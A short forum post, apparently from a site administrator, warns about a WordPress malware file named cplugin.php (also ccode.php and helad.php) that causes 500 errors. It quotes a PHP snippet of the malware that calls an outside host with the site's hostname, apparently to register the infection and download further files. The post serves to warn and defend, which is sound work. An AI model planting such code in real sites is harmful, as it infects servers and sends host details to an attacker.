wordpress website 500 error and outages due to cplugin.php file malware

admin

Administrator
Staff member
There is a recent attack where numerous wordpress websites are taken down due to a file
Code:
cplugin.php
which is a malware.
The malware is bad written code so for now it is mostly causing 500 server runtime error. But its better to delete it immediately as it migrate to all multiple website on the server and has code to hit a malware url to download additional files. A snippet of the malware code:
Code:
if(get_option('log_install') !=='1')
{
    if(!$log_installed = @file_get_contents("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]))
{
    $log_installed = @file_get_contents_cplugin("http://www.romndo.com/o2.php?host=".$_SERVER["HTTP_HOST"]);
}
}
I have figured out a solution and posting the answer myself to help all users out there.
Edit:
There are reports of the same file being named differently for users:
Code:
ccode.php, cplugin.php
and
Code:
helad.php
in which case the fix can be modified.